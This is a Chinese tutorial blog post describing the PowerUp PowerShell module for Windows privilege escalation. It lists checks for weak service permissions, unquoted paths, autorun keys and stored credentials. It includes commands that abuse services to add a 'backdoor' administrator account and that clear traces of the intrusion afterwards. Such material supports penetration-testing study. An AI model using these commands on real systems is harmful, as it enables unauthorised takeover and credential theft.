PowerUp渗透模块

简介

PowerUp是Privesc模块下的一个脚本,功能非常强大,拥有众多用来寻找目标主机Windows服务漏洞进行提权的实用脚本。
通常,在Windows下面我们可以通过内核漏洞来提升权限,但是,我们常常会碰到无法通过内核漏洞提权所处服务器的情况,这个时候我们就需要通过脆弱的Windows服务提权,或者利用常见的系统服务,通过其继承的系统权限来完成提权等等,此框架可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。

Invoke-AllChecks

该模块会自动执行PowerUp下所有脚本来检车目标主机,输入以下命令即可执行该模块

Invoke-AllChecks

在这里插入图片描述
PowerUp列出了所有可能存在问题的服务,并在AbuseFunction中直接给出了利用方式。

知识点:漏洞利用原理。Windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。比如在每次重启系统时,Java升级系统都会检测Oracle网站是否有新版Java程序。而类似Java程序之类的服务系统程序,在加载时往往都是运行在系统权限之上的。所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务获得系统权限。

Find-PathDLLHijack

该模块用于检查当前%PATH%的哪些目录是用户可以写入的

Find-PathDLLHijack

在这里插入图片描述

Get-ApplicationHost

该模块可以利用系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码

 Get-ApplicationHost
 Get-ApplicationHost | Format-Table -Autosize   #列表显示

Get-RegistryAlwaysInstallElevated

该模块用于检查AlwaysInstallElevated注册表项是否被设置,如果已被设置,意味着MSI文件是以SYSTEM权限运行的

Get-RegistryAlwaysInstallElevated

Get-RegistryAutoLogon

该模块用于检测Winlogin注册表的AutoAdminLogon项有没有被设置,可查询默认的用户名和密码

Get-RegistryAutoLogon

在这里插入图片描述

Get-ServiceDetail

该模块是用于返回某服务的信息

Get-ServiceDetail -ServiceName Dhcp  #获取DHCP服务的详细信息

在这里插入图片描述

Get-ServiceFilePermission

该模块是用于检查当前用户能够在哪些服务的目录写入相关联的可执行文件,我们可以通过这些文件实现提权。

Test-ServiceDaclPermission

该模块用于检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可以修改,则返回该服务的对象

Test-ServiceDaclPermission

Get-ServiceUnquoted

该模块用于检查服务路径,返回包含空格但是不带引号的服务路径
此处利用了Windows的一个逻辑漏洞,即当文件包含空格时,Windows API会被解释为两个路径,并将这两个文件同时执行,有时可能会造成权限的提升,比如C:\program files\hello.exe会被解释为C:\program.exe和C:\program files\hello.exe

Get-ServiceUnquoted

Get-UnattendedInstallFile

该模块用于检查一下路径,查找是否存在这些文件,因为这些文件里可能含有部署凭据

  • c:\sysprep\sysprep.xml
  • c:\sysprep\sysprep.inf
  • c:\sysprep.inf
  • c:\windows\Panther\Unattended.xml
  • c:\windows\Panther\Unattend\Unattended.xml
  • c:\windows\Panther\Unattend.xml
  • c:\windows\Panther\Unattend\Unattend.xml
  • c:\windows\System32\Sysprep\unattend.xml
  • c:\windows\System32\Sysprep\Panther\unattend.xml
    在这里插入图片描述

Get-ModifiableRegistryAutoRun

该模块用于检查开机自启的应用程序路径和注册表键值,然后返回当前用户可修改的程序路径,被检查的注册表键值有以下这些:

HKLM\SOFTWARE\Microsoft\Windows\Current\Version\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Once
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService

在这里插入图片描述

Get-ModifiableScheduledTaskFile

该模块用于返回当前用户能够修改的计划任务程序的名称和路径

Get-ModifiableScheduledTaskFile

在这里插入图片描述

Get-WebConfig

返回当前服务器上的web.config文件中的数据库连接字符串的明文
在这里插入图片描述

Invoke-ServiceAbuse

该模块通过修改服务来添加用户到指定组,并通过设置-cmd参数触发添加用户的自定义命令

PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC # 添加默认账号
PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLAB\john" # 指定添加域账号
PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" # 指定添加用户,用户密码以及添加的用户组。
PS C:\> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..." # 自定义执行命令

Restore-ServiceBinary

该模块用于恢复服务的可执行文件到原始目录

Restore-ServiceBinary -ServiceName VulnSVC

例:利用OmniServers服务进行提权后,需要清除入侵的痕迹

Restore-ServiceBinary -ServiceName 'OmniServers'

执行命令后可以吧所有的状态恢复到最初的状态。

Test-ServiceDaclPermission

检查某个用户是否在服务中有自由访问控制的权限,结果会返回True或False

Test-ServiceDaclPermission -ServiceName VulnSVC

Write-HijackDll

该模块用于输出一个自定义命令并且能够自我删除的bat文件到$env:Temp\debug.bat,并输出一个能够自动启动这个bat文件的DLL

Write-UserAddMSI

生成一个安装文件,运行这个安装文件后会弹出添加用户的对话框
在这里插入图片描述
在这里插入图片描述

Write-ServiceBinary

该命令用于预编译C#服务的可执行文件,默认创建一个管理员账号,可通过Command定制自己的命令

Write-ServiceBinary -ServiceName VulnSVC # 添加默认账号
Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john" # 指定添加域账号
Write-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定添加用户,用户密码以及添加的用户组。
Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定义执行命令

Install-ServiceBinary

该模块通过Write-ServiceBinary写一个C#的服务用来添加用户

Install-ServiceBinary -ServiceName DHCP
Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john"
Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123!
Install-ServiceBinary -ServiceName VulnSVC -Command "net ..."

Write-ServiceBinary与Install-ServiceBinary不同的是,前者生成可执行文件,后者直接安装服务。

猜你喜欢

转载自blog.csdn.net/weixin_43749601/article/details/115055722